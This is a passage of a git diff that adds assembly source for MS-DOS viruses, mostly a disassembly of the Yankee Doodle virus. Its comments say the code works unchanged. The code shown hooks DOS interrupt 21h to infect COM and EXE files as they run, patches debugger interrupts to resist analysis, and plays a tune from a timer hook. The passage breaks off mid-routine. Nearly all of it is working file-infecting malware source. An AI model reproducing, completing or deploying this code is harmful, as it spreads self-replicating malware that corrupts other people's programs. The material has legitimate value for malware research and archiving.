+ dw 196,262,246,293,262,262,0ffffh + + +mary_time db 8 dup(25) + db 4 dup(25), 50, 50 + db 8 dup(25) + db 4 dup(25), 50, 50 + db 26, 25, 26, 5 dup(25) + db 26, 25, 26, 3 dup(25), 30 + db 26, 25, 26, 4 dup(25), 30 + db 4 dup(25), 50, 50 + + + +setup_data: + cli + pop bx ;This will catch instruction pointer + push bx + sti ;value and after that restore stack + ret ;pointer value + + +buffer data_area <> ;Reseve data_area space + + + END start \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.yd23.asm b/MSDOS/Virus.MSDOS.Unknown.yd23.asm new file mode 100644 index 00000000..b2860d1a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.yd23.asm @@ -0,0 +1,1818 @@ +;THE YANKEE DOODLE VIRUS +;POOR DISASSEMBLY OF IT MANY REFRENCE MADE AS ABSOLUTE WHEN THEY SHOULD +;BE REFRENCE TO LOCATIONS IN PROGRAM +;WILL WORK IF NO CHANGES MADE TO CODE +;EXCUSE SOME OF THE COMMENTS WHICH MAKE NO SENSE + .RADIX 16 +INT01_OFFS EQU 0004 + +INT03_OFFS EQU 000C + +MEM_SIZE EQU 0413 +TIMER_HI EQU 006E +TIMER_LO EQU 006C + + +;****************************************************************************** +;The host program starts here. This one is a dummy that just returns control +;to DOS. +host_code SEGMENT byte + ASSUME CS:host_code, ds:host_code + ORG 0 + db 1eh dup (0) +HOST: DB 0B8H, 00H, 4CH, 0CDH + DB '!OS SYS' + DB 7,0,0,0,0 + +host_code ENDS + + + + +vgroup GROUP virus_code +virus_code SEGMENT byte + ASSUME cs:virus_code, ds:virus_code + + + +;data AREA + +TOP_VIR: db 0f4h + db 7ah + DB 2Ch ;used as a marker + +D003 DB 00 + +FSIZE1 DW 0000 ;filsize being infected +FSIZE2 DW 0223 ;in bytes hex of course + +D1 Dw 0abeh ;used as a marker + +TOP_HOST DW 5A4DH ;USED AS A FILE BUFFER + ;WHEN FILE IS EXE BELOW IS TRUE + ;SIGANATURE +P_SIZE DW 0023 ;LAST PAGE SIZE +P_COUNT DW 0002 ;PAGE COUNT +RELOC DW 0000 ;RELOC TABEL ENTRIES +H_PARA DW 0020 ;#HEADER PARAGRAPHS +MINALLOC DW 0001 ;MIN ALLOC OF MEM +MAXALLOC DW 0FFFF ;MAX ALLOC OF MEM +I_SS DW 0000 ;INTIAL SS +I_SP DW 0000 ;INTIAL SP +CHECKSUM DW 0000 ;CHECKSUM +I_IP DW 0000 ;I_IP PRE INFECTION +I_CS DW 0000 ;I_CS +REL_OFFSET DW 003E ;RELOCATION OFFSET +O_NUM DW 0000 ;OVERLAY NUM + ;EXTRA NOT USED DURING EXE + ;HEADER READING +REM1 DB 01,00,0FBH,30 ;D0026 +;end of top_host buffer +;*********************************************************************** + +OLD_INT21_OFS DW 109E +OLD_INT21_SEG DW 0116 + +OLD_INT21_OFS2 DW 109E +OLD_INT21_SEG2 DW 0116 + +OLD_INT24_OFS DW 0155 +OLD_INT24_SEG DW 048Ah + +OLD_INT1C_OFS DW 0FF53 +OLD_INT1C_SEG DW 0F000 + +F_HANDLE DW 5 ;3A +F_TIME DW 5002 ; +F_DATE DW 1ACC ;3E + +;USED IN VIT INT 1C PART + +X1 DW 00DE ;0040 +X2 DW 006A ;0042 + +BUFFER1 DB 2E,83,3E,5E,0C +BUFFER1A DB 0F4,06,70,00 + +BUFFER2 DB 2E,83,3E,5E,0C +BUFFER2A DB 0F4,06,70,00 + +SNARE DB 00 ;0056 + +X4 DB 00 + +F_ATTR DB 20 + +PLAY_TUNE DB 01 ;0059 +REM2 DB 00 ;005A + +COMFILE DB 00 +INFEC_FL DB 00 + +CTRL_FLAG DB 00 ;5D +COUNTER DB 7BH ;5E +X7 DB 01 ;5F +X8 DW 00 ;60 + +PAGE_16 DW 0010 ; +HOST_IP DW 0100 ;FOR COM FILE INFECTIONS +EXE_PG_SIZE DW 0200 ; + +C_OFFSET_21 DW OFFSET CALL_INT21 ;2CFH + +X101 DB 0C7,11 +X10 DB 0C7,11 ; +X11 DB 0E6,0F ;006E +X12 DB 28,0E ;70 + DB 0C7,11 ;72 + DB 28,0E ;74 + DB 0E6,0F ;76 + DB 0C4,17 ;78 + + DB 0C7,11,0C7,11 ;7a + DB 0E6,0F ;7e + DB 28,0E,0C7,11 ;80 + DB 0C7,11,0C7,11 ;84 + DB 0C7,11,0E6,0F ;88 + DB 28, 0E, 59, 0Dh ;8c + DB 28,0E,0E6,0f ;90 + + + DB 0C7, 11, 0ef, 12 + DB 0C4,17 + DB 2C,15 + DB 0EF + DB 12,0C7 + DB 11,0C7 + DB 11,2C + DB 15,0EF,12 + DB 2C,15 + DB 0C5,1A + DB 2C,15 + DB 0EF + DB 012,0C7 + DB 011,2C + DB 015,0C4,17 + DB 02C,15 + DB 0C4,17 + DB 0C5,1A + DB 67 ;BA + DB 1C,0C5 + DB 1A,0C4 + DB 17 + DB 2C,15 + DB 0EF + DB 12,2C + DB 15,0C5,1A + DB 2C,15 + DB 0EF + DB 12,0C7 + DB 11,2C + DB 15,0C4,17 + DB 0C7,11,0EF,12 + DB 0E6,00FH + DB 0C7,11,0C7,11 + DB 0FF,0FF + DB 05,05,05 + DB 05,05,05 + DB 05,05,05 + DB 05,05,05 + DB 09,09 + DB 05,05,05 + DB 05,05,05 + DB 05,05,05 + DB 05,05,05 + DB 09,09 + DB 05,05,05 + DB 05,05,05 + DB 05,05,05 + DB 05,05,05 + DB 05,05,06 + DB 05,05,05 + DB 05,05,05 + DB 05,06,05 + DB 05,05,05 + DB 09,09 ;115 + +NEW_PONG: + DB 0FEh, 06h, 7Ah, 7Dh ;INC BYTE PTR [7D7A] 0117 + DB 0FEH, 06, 0FBH, 7Dh ;INC BYTE PTR [7DFB] + DB 74,05 ;JZ 0126 + DB 0EA,00,7C,00,00 ;JMP 0000:7C00 + DB 0FC ;CLD + DB 33,0C0 ;XOR AX,AX + DB 8E,0C0 ;MOV ES,AX + DB 0BE, 2Ah, 7Dh ;MOV SI,7D2A + DB 0BF, 4Ch, 00 ;MOV DI,004C + DB 0A5 ;MOVSW + DB 0A5 ;MOVSW + DB 26 ;ES: + DB 83, 06, 13, 04, 02 ;ADD WORD PTR [0413],+02 + DB 0EAh, 00, 7Ch, 00, 00 ;JMP 0000:7C00 0139 + + +;DATA ENDS + +;****************************************************************** +P_MIN_MAX_ALLOC PROC NEAR +;ENTRY SI = 14H = OFFSET MINALLOC +; 16H = OFFSET MAXALLOC +;THIS PROCEDURE ALTERS THE GIVEN VALUES +;TO BE USEFULE TO THE VIRUS WHEN GOING TSR +;by editing the min and max memory requirments +;so that it doesn't need to release mem to go memory resident + + MOV AX,[SI] + SUB AX,0BBH + JB TOSMALL + + CMP AX,08 + NOP + JB TOSMALL + +EXIT_MIN_MAX: + MOV [SI],AX + RETN + +TOSMALL: + MOV AX,09 + JMP short EXIT_MIN_MAX + +P_MIN_MAX_ALLOC ENDP + +;************************************************************************* +HOOK_1_3 PROC NEAR +;CALLED BY SET_TO_HOOK1_3 +; ON ENTRY HAS DI = 44 BX= 4 +; DI = 4D BX= C +; DS = CS OF HERE BY VIR INT 1C + PUSH SI + PUSH DS + PUSH CX + + PUSH DS + POP ES ;ES POINTS HERE + + MOV DS,WORD PTR [X7 + 1] ;APPARENTLY = 0000 + ; + LDS SI,DWORD PTR [BX] ;loads DS:SI = DS:[bx] + ; + MOV WORD PTR ES:[DI+ 5],SI ; + MOV WORD PTR ES:[DI+ 7],DS ; + CMP BYTE PTR [SI],0CFH ; + JE EXIT_HOOK_1_3 ;J17D +;if we get this far hook by manliputaing the vector table +;si = vector for int1 or int3 +;int used by debug programs + + CLD + MOV CX,0005 + REPZ MOVSB + MOV BYTE PTR [SI-05],9A ;flag + MOV WORD PTR [SI-04],OFFSET anti_DEBUG ;a ip 01c3 + MOV WORD PTR [SI-02],CS ;a cs + +EXIT_HOOK_1_3: + POP CX + POP DS + POP SI + RETN +HOOK_1_3 ENDP + +;*************************************************** +SET_TO_HOOK1_3 PROC NEAR +;CALLED BY VIR INT 1CH + + PUSH BX + PUSH DI + + MOV BX,INT01_OFFS ;0004 VECTOR TO INT3 + MOV DI,OFFSET BUFFER1 ;0044 + CALL HOOK_1_3 ;SET UP HOOK INT 1 + + MOV BX,INT03_OFFS ;000C VECTOR TO INT3 + MOV DI,OFFSET BUFFER2 ;004D + CALL HOOK_1_3 ;SET UP TO HOOK INT 3 + + POP DI + POP BX + RET + +SET_TO_HOOK1_3 ENDP +;************************************************************************* + +RESTORE_1_3 PROC NEAR +;ENTRY SI = BUFFER1 ;2E,83,3E,5E,0C F4,06,70,00 +; BUFFER2 +;NOT SURE WHY BUT IT SEEMS THAT THIS CODE WILL CHECK FOR MEM LOCATION +; 0070:60F4 = 9A,01,C3 IF THERE IT WILL +;RESTORE OF BUFFER1/2 OVER THIS LOCATION WHICH WAS THE ORGINAL +; VECTOR ADDRESS INT + + PUSH CX + PUSH DI + + LES DI,DWORD PTR [SI+05] ;load this 4 bytes as a mem + ;location into es:di + ;0070:06f4 + CMP BYTE PTR ES:[DI],9A + JNE EXIT_RESTORE_1_3 + + CMP WORD PTR ES:[DI+01],OFFSET anti_DEBUG + JNE EXIT_RESTORE_1_3 + + MOV CX,5 ; MOV 5 BYTES + CLD ; FROM DS:[SI] + REPZ MOVSB ; HERE:[BUFFERX] + ; TO ES:[DI] + ; 0070:06F4 +EXIT_RESTORE_1_3: + POP DI + POP CX + RETN +RESTORE_1_3 ENDP + +;************************************************************* + +SET_TO_REST_1_3 PROC +;THIS PROCEDURE SEEMS TO RESTORE THE THE INT 1 AND 3 TO THERE PROPER +;LOCATIONS IF WE HAVE ALTERED THEM IT CHECK AND CORRECTS THEM +;IN RESTORE_1_3 +;CALLED BY VIR INT 1C + + PUSH SI + MOV SI,OFFSET BUFFER2 + CALL RESTORE_1_3 + + MOV SI,OFFSET BUFFER1 + CALL RESTORE_1_3 + + POP SI + RETN +SET_TO_REST_1_3 ENDP + +;********************************************************************** +;J01C3 +;called int 1\ used by debuggers not program is disenfected if +; int 3/ resident and td or debug is used +; BY PUTTING IN TO THE INT VECTOR FOR INT 1 OR AND INT 3 +;THE ADDRESS OF THIS SPOT +;BY HOOK_1_3 +; + +anti_DEBUG PROC ; P_01C3 + ; A + PUSH BP ; 8 + MOV BP,SP ; FLAGS 6 + PUSHF ; CS 4 + ; IP 2 + PUSH ES ; BP <-BP + PUSH DS + + PUSH BX + PUSH AX + + PUSH CS + pop DS + + CALL SET_TO_REST_1_3 ;RESTORE PROPER VECTORS + ;IF ALTERED WHICH TO GET HERE IT + ;ONE OF THEM WOULD HAVE HAD TO BEEN + + MOV AX,CS ;this test if the calling + CMP WORD PTR [BP+08],AX ;return to from this is + JE viral_cs ;J020C is our cs + + MOV DS,WORD PTR [BP+08] + CMP WORD PTR [BX+OFFSET TOP_VIR+2],2C ; THIS INFO IS LOCATED AT TOP + JNE EXIT_TO_VIR ; OF VIRUS AND MAYBE AT END AS + ; END AS WELL + CMP WORD PTR [BX+OFFSET TOP_VIR],7AF4 ; + JNE EXIT_TO_VIR ; + + ;CMP WORD PTR [BX + 0008h],0ABE + db 81, 0bf, 08, 00, 0be, 0a + JNE EXIT_TO_VIR + + MOV AX,DS ; BX /16 BY {4 SHR} + SHR BX,1 ; WHAT WAS IN BX OFFSET OF VIRUS + SHR BX,1 ; BX APPEARS TO POINT TO + SHR BX,1 ; TOP VIRUS + SHR BX,1 ; CS + IP/16 = EA + ADD AX,BX ; + MOV DS,AX ;DS = SOM EFFECTIVE ADDRESS + JMP SHORT viral_cs ; + +EXIT_TO_VIR: ;J0201 + SUB WORD PTR [BP+02],05 + POP AX + POP BX + POP DS + POP ES + POPF + POP BP + RETF + +viral_cs: + CALL P_030E + + MOV AX,WORD PTR [BP+0A] + INC BYTE PTR [REM2] ;005A IF = 0A FLAGS + TEST AX,0100 ; 08 CS + JNZ J0222 ; 06 IP + DEC WORD PTR [BP+06] ; 4 + DEC byte PTR [REM2] ;005A 2 + ; BP +J0222: + AND AX,0FEFFH ; TURNS OFF IF FLAG + MOV [BP+0A],AX ; IF ON + + PUSH CS + POP DS + CALL SET_TO_HOOK1_3 ; THIS CALL SETS UP THE + ; INTERUPTS 1 AND 3 + ; TO GO HERE IF + ; THINGS MATCH + + POP AX + POP BX + POP DS + POP ES + POPF + POP BP + ADD SP,+04 ;REMOVE LAST 2 PUSH + IRET +anti_DEBUG ENDP +;************************************************************************ + +VIR_INT_1C PROC + + PUSH BP + MOV BP,SP + PUSHF + PUSH AX + PUSH BX + PUSH DS + PUSH ES + + PUSH CS + POP DS + + CALL SET_TO_REST_1_3 ;AGAIN RESTORES 1 AND 3 INT + ; TO PROPER LOCATIONS + ;IF NEED BE + + CALL SET_TO_HOOK1_3 ;ALTERS THE 1 AND 3 INT + ; TO OUR INT HANDLER + ;IF SOMETHING IS WRONG + + MOV AX,0040 + MOV ES,AX + TEST BYTE PTR [COUNTER],07 + JNE WRONG_TIME ;J0274 + +;NOTICE THAT THIS CMP INSTRUCTIONS ARE LOOKING AT 0040: + CMP WORD PTR ES:[TIMER_HI],11 ; + JNE WRONG_TIME ;J0274 + + CMP WORD PTR ES:[TIMER_LO],00 ; + JNE WRONG_TIME ;J0274 + + MOV BYTE PTR [PLAY_TUNE],00 + MOV WORD PTR [X1],00DE ;0040 + MOV WORD PTR [X2],006A ;0042 + +WRONG_TIME: ;J0274 + CMP BYTE PTR [PLAY_TUNE],1 ;01 MEANS NO + JE EXIT_VIR_1C ;J02C4 + + CMP BYTE PTR [X4],00 ; + JE J0288 + + DEC BYTE PTR [X4] + JMP SHORT EXIT_VIR_1C + +J0288: + MOV BX,[X2] + CMP WORD PTR [BX],0FFFFH + JNE J029E + + IN AL,61 + AND AL,0FC + OUT 61,AL + MOV BYTE PTR [PLAY_TUNE],01 + + JMP short EXIT_VIR_1C + + +J029E: + MOV AL,0B6 + OUT 43,AL + MOV AX,[BX] + OUT 42,AL + MOV AL,AH + OUT 42,AL + IN AL,61 + OR AL,03 + OUT 61,AL + ADD WORD PTR [X2],+02 + MOV BX,WORD PTR [X1] + MOV AL,[BX] + DEC AL + MOV BYTE PTR [X4],AL + INC WORD PTR [X1] + +EXIT_VIR_1C: + POP ES + POP DS + POP BX + POP AX + POPF + POP BP + JMP DWORD PTR CS:[OLD_INT1C_OFS] +VIR_INT_1C ENDP +;************************************************************* +CALL_INT21: JMP DWORD PTR CS:[OLD_INT21_OFS] + +REAL_INT21: JMP DWORD PTR [OLD_INT21_OFS] + +;************************************************************* +P_02D8 PROC NEAR +;CALLED BY HANDLE_4B + PUSH BP + MOV BP,SP + CLD + PUSH [BP+0AH] + PUSH [BP+08] + PUSH [BP+04] + CALL P_09C8 + + ADD SP,+06 ;REMOVE LAST 3 PUSHES + + PUSH [BP+0CH] + PUSH [BP+06] + PUSH [BP+08] + CALL P_0A58 + + ADD SP,+06 ;REMOVE LAST 3 PUSHES + + PUSH [BP+0CH] + PUSH [BP+08] + PUSH [BP+06] + PUSH [BP+04] + CALL P_0A7F + + ADD SP,+08 + POP BP + RETN +P_02D8 ENDP +;********************************************************************** + +P_030E PROC +;CALLED BY HANDLE_4B + +;CALLED BT VIR INT 1 INT3 IN HIGH MEM +;IN INT 3 1 CASE IT SEEMS +;THAT DX= EA 0F TOP OF VIRUS POSSIBLE +;TO RETURN 5 WORDS IN STACK TOP 3 = FL,CS,IP +;BOTTOM 2 ARE THROWN OUT + + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH ES + PUSHF + CLI ;CLEAR IF + + MOV AX,8 ; + PUSH AX ;1 + + MOV AX,00AE ; + PUSH AX ;2 + + MOV AX,OFFSET VGROUP:BOT_VIR ;B40 + MOV CL,04 ; + SHR AX,CL ; + MOV DX,DS ; + ADD AX,DX ; + PUSH AX ;3 END OF VIRUS EA + + MOV AX,OFFSET J0AC0 ; 0AC0b + SHR AX,CL ; + ADD AX,DX ; + PUSH AX ;4 + + MOV AX,0060 ; + SHR AX,CL ; + ADD AX,DX ; + PUSH AX ;5 + + CALL P_02D8 + + ADD SP,0AH ;REMOVE LAST 5 PUSHES + POPF + POP ES + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + RETN +P_030E ENDP +;***************************************************************** +WRITE_FILE PROC NEAR + MOV AH,40 + jmp short r_w_int21 + +READ_FILE: + MOV AH,3F + +R_W_INT21: + CALL I21_F_HANDLE ;J035C + + JB J0357 + CMP AX,CX +J0357: RETN +WRITE_FILE ENDP +;****************************************************************** +START_FILE PROC NEAR + XOR AL,AL +MOV_F_PTR: + MOV AH,42 ;MOVE FILE PTR + +I21_F_HANDLE: + MOV BX,WORD PTR CS:[F_HANDLE] + +C2_INT21: + PUSHF + CLI ;CLEAR IF + CALL DWORD PTR CS:[OLD_INT21_OFS2] + RETN +START_FILE ENDP +;********************************************************************* + +FORCE_WRITE PROC NEAR + PUSH BX + PUSH AX + MOV BX,WORD PTR CS:[F_HANDLE] + MOV AH,45 ;GET DUPLICATE FILE HANDLE + CALL C2_INT21 + JB WRITE_ER ;J0380 + + MOV BX,AX + MOV AH,3E + CALL C2_INT21 + JMP short NO_PROBLEM + +WRITE_ER: + CLC ; CLEAR CF +NO_PROBLEM: + POP AX + POP BX + RET + +FORCE_WRITE ENDP +;****************************************************************** + +VIR_INT24: + MOV AL,03 + IRET + +HANDLE_C603: + ;THIS IS THE INSTALATION CHECK CALLED ON BY THE VIRUS + ;CHECKS TO SEE IF IN INSTALLED IN MEMORY + ;CALLED CF CLEAR, BX SET 002C, AX SET C603 + ; RETURNS + ; IF CF IS SET THEN THEN IT IS INSTALLED + ; + MOV AX,02DH + + TEST BYTE PTR CS:[X7],02 + JNZ J393 + + DEC AX + +J393: CMP BX,AX + XOR AL,AL ;ZEROS AL + + RCL AL,1 ;ROTATE LEFT THRU CARRY + ;SHIFTS AL 1 BIT TO LEFT THRU CF + ;MOVES THE CF BIT INTO AH + + PUSH AX + MOV AX,002C + TEST BYTE PTR CS:[X7],04 + JNZ J3A6 + + INC AX + +J3A6: CMP BX,AX + + + LES BX,DWORD PTR CS:OLD_INT21_OFS2 + + ;LOADS ES WITH SEGMENT + ; ADDRESS AND BX OFFSET + ; IE. ES:BX -> OLD_INT21_OFS + + POP AX ; + + INC SP ; + INC SP ; SP=SP+2 REMOVE LAST 1 PUSH + ; IE. LAST PUSHF + STI ;SET INTERUPT FLAG + RETF 2 ; RETURN TO HOST +;END HANDLE_C603 + +HANDLE_C600: +;REASON UNKNOW +; DOESN'T SEMM TO BE CALLED BY THIS VIRUS +; + MOV AX,2C + JMP short HANDLE_C5 + +HANDLE_C601: +;REASON ? +;DOESN'T SEEM TO BE CALLED BY VIRUS +; + MOV AL,BYTE PTR CS:[X7] + XOR AH,AH + JMP short HANDLE_C5 + +HANDLE_C602: +;REASON ? +;DOESN'T SEEM TO BE CALLED BY VIRUS +; + MOV BYTE PTR CS:[X7],CL + JMP SHORT HANDLE_C5 + + +VIR_INT_21 PROC + PUSHF + + CMP AH,4BH ; LOAD EXEC CALL + JZ HANDLE_4B ; LET VIRUS GO + + CMP AH,0C5 + JZ HANDLE_C5 + + CMP AX,0C600 + JZ HANDLE_C600 + + CMP AX,0C601 + JZ HANDLE_C601 + + CMP AX,0C602 + JE HANDLE_C602 + + CMP AX,0C603 + JE HANDLE_C603 + + POPF + JMP GOTO_INT21 ;NONE OF OUR INTERRUPTS LET + ;DOS INT 21 HANDLE IT + +HANDLE_C5: + POPF ; SETS THE MASKABLE INTERUPTS ON + STI ; + STC ; SETS THE CF FLAG + RETF 2 ; + +HANDLE_4B: + + PUSH AX + XOR AL,AL + XCHG AL,BYTE PTR CS:[INFEC_FL] ;POSSIBLE VAL = 00, FF + ;00 OR 00 = 0 ZF SET + ;FF OR FF = FF ZF CLEAR + ;IF FF CONTINUE TO ATTEMPT + ;INFECTION PROCESS + OR AL,AL + POP AX + JNZ CONT + + POPF + JMP GOTO_INT21 ;INFEC_FL = 00 SO LET + ;DOS HANDLE IT + +CONT: + PUSH DS ;SAVE DS = FILE DS + PUSH CS ;SET DS TO CS + POP DS ;TSR INFECTION + + CALL P_030E ; + + MOV WORD PTR [OFFSET C2_INT21],9090 + + CALL P_030E ; + + POP DS ;RESTORE DS TO FILE DS + + PUSH ES ;BP E ; + PUSH DS ;BP C ;SAVE REGS + PUSH BP ;BP A ;THAT MAY BE + PUSH DI + PUSH SI ;BP 8 ; DESTROYED + PUSH DX ;BP 6 ;LATER TO + PUSH CX ;BP 4 ;BE RESTORED + PUSH BX ;BP 2 ;FOR RETURN TI INT 21 + PUSH AX ;BP ; +;BP POINTS AT AX + MOV BP,SP + + PUSH CS ;DS = TSR INFECTION + POP DS ; + + CMP BYTE PTR [REM2],00 ;INFECTED = 00 IF EQUAL + JE J429 ;NOT INFECTED YET + + JMP LEAVE_ + +J429: INC BYTE PTR [COUNTER] + + PUSH [BP+0E] ; + PUSH [BP+06] ; + CALL OPEN_FILE + + LAHF ;LOAD AH WITH FLAGS + ADD SP,+04 ;REMOVE LAST 2 PUSHS + SAHF ;LOAD FLAGS WITH AH + + JNB CHK_FOR_INFEC ;IF NO ERROR + JMP LEAVE_ ;PROBALY ERROR + +CHK_FOR_INFEC: ; J440 + XOR CX,CX ; SET PTR TO START OF + XOR DX,DX ; VICTIM + CALL START_FILE ; + + MOV DX,OFFSET TOP_HOST ;READ 14 BYTES TO + MOV CX,14 ; + CALL READ_FILE ; + JB ALREADY_INFECTED ;ERROR +; USE CHECKSUM TO FIND POSSIBEL WHERE FILE INFECTION OCCURS +; PLACE PTR THERE + + MOV AX,WORD PTR [CHECKSUM] ;CHECKSUM * 10 + MUL WORD PTR [PAGE_16] ;=0010H DX:AX = ORG_SIZE + MOV CX,DX ;MOV RESULTS INTO CX + MOV DX,AX ;DX + CALL START_FILE ;SET POINTER TO A POINT + ;CX:DX FROM START + ;WHICH IN A INFECTED FILE + ;WOULD BE START OF VIRUS +;READ TO THIS LOCATION FORM FILE + + MOV DX,OFFSET TOP_VIR ;READ TO THIS LOCATION + MOV CX,2A ;2A BYTES + CALL READ_FILE ; + JB NOT_INFECTED ;IF ERROR FILE NOT THAT LONG + ; CAN'T BE INFECTED +; NOW COMPARE TO SEE IF FILE IS INFECTED + + CMP WORD PTR [TOP_VIR],7AF4 ; + JNE NOT_INFECTED ;NOT INFECTED GO INFECT + + MOV AX,002C + CMP BYTE PTR [BP+00],00 + JNE J483 + + TEST BYTE PTR [X7],02 ;JUMP IF AN AND OPERATION + JZ J484 ;RESULTS IN ZF SET + +J483: INC AX ; +J484: CMP WORD PTR [TOP_VIR+2],AX ;JUMP IF TOP_VIR+2 => AX + JNB ALREADY_INFECTED ; + +;FILE IS ALREADY INFECTED RESTORE TO ORGINAL FORM + + XOR CX,CX ;SET FILE PTR TO + XOR DX,DX ;ACTUAL START OF + CALL START_FILE ;FILE + + MOV DX,OFFSET TOP_HOST ; + MOV CX,20H ; + CALL WRITE_FILE ; + JB ALREADY_INFECTED ;ERROR + + CALL FORCE_WRITE ; THIS WOULD EFFECTIVELY + ; DISINFECT FILE + JNB J4A4 + +ALREADY_INFECTED: + JMP CLOSE_EXITVIR ; FILE NOW DISINFECTED + +J4A4: MOV CX,WORD PTR [FSIZE1] ;GOTO END OF HOST + MOV DX,WORD PTR [FSIZE2] ; + CALL START_FILE ; + + XOR CX,CX ;WRITE 00 BYTES + CALL WRITE_FILE ;IF ERROR + JB ALREADY_INFECTED ;EXIT + + CALL FORCE_WRITE + JB ALREADY_INFECTED + +;AT THIS TIME THE POSSIBLE INFECTION HAS BEEN REMOVED AND THE FILE RESTORE TO +;ORGIONAL SIZE AND FUNCTION + + JMP CHK_FOR_INFEC ;J440 + +NOT_INFECTED: ;J4BD + MOV AL,02 + MOV CX,0FFFF + MOV DX,0FFF8 + CALL MOV_F_PTR + + MOV DX,OFFSET TOP_HOST ;BUFFER TO READ INTO + MOV CX,08H ;FOR LENGTH + CALL READ_FILE + + JB ERROR_LVE + + CMP WORD PTR [P_COUNT],7AF4 ;IF == MAYBE INFECTED + JE MAKE_SURE ;J4E0 + JMP SHORT INFECT ;J538 + +ERROR_LVE: + JMP CLOSE_EXITVIR ;J6AE + +MAKE_SURE: + CMP BYTE PTR [RELOC],23 ; IF >= + JNB ERROR_LVE ;IT IS INFECTED + + MOV CL,BYTE PTR [RELOC+1] ; ???? + MOV AX,WORD PTR [TOP_HOST] ; POSSIBLE SETING UP JUMP + MOV WORD PTR [FSIZE2],AX ; FOR COM FILE + MOV AX,WORD PTR [P_SIZE] ; + SUB AX,0103H ; WHY 103 + MOV WORD PTR [TOP_HOST+1],AX ; + CMP BYTE PTR [RELOC],09 ; + JA J503 ; + + + MOV CL,0E9 ; + +J503: MOV BYTE PTR [TOP_HOST],CL ;E9= JMP + + XOR CX,CX ; + MOV DX,CX ; + CALL START_FILE ; + + MOV DX,OFFSET TOP_HOST ; + MOV CX,0003H ; + CALL WRITE_FILE ; + JB ERROR_LVE ;J4DD + + CALL FORCE_WRITE + JB ERROR_LVE ;J4DD + + XOR CX,CX ;SET FILE POINTER TO END + MOV DX,WORD PTR [FSIZE2] ;OF HOST FILE + CALL START_FILE ; + XOR CX,CX + CALL WRITE_FILE + JB ERROR_EXIT +;52E + CALL FORCE_WRITE + JB ERROR_EXIT + JMP NOT_INFECTED ;J4BD + +ERROR_EXIT: JMP CLOSE_EXITVIR ;J6AE + +;J538 +INFECT: + MOV WORD PTR [TOP_VIR],7AF4 + MOV WORD PTR [TOP_VIR+2],2C + MOV WORD PTR [TOP_VIR+8],0ABE + + CMP BYTE PTR [BP+00],00 + JNE ERROR_EXIT ;J535 + + TEST BYTE PTR [X7],01 + JE ERROR_EXIT +;THIS NEXT PIECE WILL TELL POINTER TO GO TO END OF FILE +;WITH OFFSET 0:0 WHICH SETS DX:AX TO #BYTES IN ENTIRE FILE +;J557 + MOV AL,02 + XOR CX,CX + MOV DX,CX + CALL MOV_F_PTR + MOV [FSIZE1],DX + MOV [FSIZE2],AX + + XOR CX,CX + MOV DX,CX + CALL START_FILE + + MOV DX,OFFSET TOP_HOST ;BUFFER + MOV CX,20 ;#BYTES TO READ + CALL READ_FILE ; + JB ERROR_EXIT ;J535 + +;CHECK FOR TYPE OF FILE BY TESTING FOR SIGNATURE MZ OR ZM +;IF NEITHER IT IS A COM FILE +;J579 + CMP WORD PTR [TOP_HOST],"ZM" + JE EXE_INFEC + CMP WORD PTR [TOP_HOST],"MZ" + JNE COM_INFEC + +EXE_INFEC: + MOV BYTE PTR [COMFILE],00 + MOV AX,WORD PTR [P_COUNT] ;000E + MUL WORD PTR [EXE_PG_SIZE] ;0066 = 200H + SUB AX,[FSIZE2] ;AX=#BYTES IN HOST + SBB DX,[FSIZE1] ;IF BELOW ERROR SOMEPLACE + JB J5E1 ;J5E1 EXIT ERROR + + MOV AX,WORD PTR [I_SS] ;0018 + MUL WORD PTR [PAGE_16] ;0062 + ADD AX,WORD PTR [I_SP] ;001A + MOV CX,DX ;SAVE RESULT EFF ADDRESS OF + MOV BX,AX ;SS:SP AT START OF PROGRAM + + MOV AX,[H_PARA] ;0012 + MUL WORD PTR [PAGE_16] ;0062 + MOV DI,WORD PTR [FSIZE1] + MOV SI,WORD PTR [FSIZE2] + + ADD SI,+0F + ADC DI,+00 + AND SI,-10 + + SUB SI,AX + SBB DI,DX + + MOV DX,CX + MOV AX,BX + + SUB AX,SI + SBB DX,DI + + JB J5FF +;J5D4 + ADD SI,0DC0 + ADC DI,+00 + SUB BX,SI + SBB CX,DI + + JNB J5FF ;IF NO ERROR + +J5E1: JMP CLOSE_EXITVIR ;J6AE + +COM_INFEC: ;j5E4 + MOV BYTE PTR [COMFILE],01 ; CHECK IF FILE SIZE + CMP WORD PTR [FSIZE1],+00 ; WILL ALLOW INFECTION + JNZ J5E1 ; + CMP WORD PTR [FSIZE2],+20 ; + JBE J5E1 ; + CMP WORD PTR [FSIZE2],0F277 ; + JNB J5E1 ; + +J5FF: + MOV CX,WORD PTR [FSIZE1] ; FIGURE END OF FILE + MOV DX,WORD PTR [FSIZE2] ; +DATA NEEDED TO GET IT TO + ADD DX,+0F ;A EVEN PAGE IE DIVISIBLE BY 10H + ADC CX,+00 ; + AND DX,-10 ; + CALL START_FILE ; + + XOR DX,DX + MOV CX,0B41 ;OFFSET TOP_VIRUS -OFFSET BOT_VIRUS+1 + PUSH word ptr [x7] + MOV BYTE PTR [x7],01 + CALL WRITE_FILE + POP CX + MOV BYTE PTR [x7],CL + JB J5E1 + + CMP BYTE PTR [COMFILE],00 + JE EXEINFEC ;J638 + + MOV CX,0004 ; WRITES FIRST 4 BYTES + CALL WRITE_FILE ; TO END OF FILE + +EXEINFEC: + CALL FORCE_WRITE ; FA 7A 2C 00 + + JB J5E1 + + MOV DX,WORD PTR [FSIZE1] + MOV AX,[FSIZE2] + ADD AX,000F + ADC DX,+00 + AND AX,0FFF0 + DIV WORD PTR [PAGE_16] + MOV WORD PTR[CHECKSUM],AX + CMP BYTE PTR [COMFILE],00 + JE EXEONLY +;DO THIS TO COM FILE ONLY + MUL WORD PTR [PAGE_16] + MOV BYTE PTR [TOP_HOST],0E9 + ADD AX,07CE + MOV [TOP_HOST+1],AX + JMP SHORT J069E + +EXEONLY: ;66C + MOV [I_CS],AX + MOV WORD PTR [I_IP],07D1 ;OFFSET START + MUL WORD PTR [PAGE_16] + ADD AX,OFFSET VGROUP:BOT_VIR ;B40 + ADC DX,+00 + DIV WORD PTR [EXE_PG_SIZE] + INC AX + MOV WORD PTR [P_COUNT],AX + MOV WORD PTR [P_SIZE],DX + MOV AX,WORD PTR [H_PARA] + 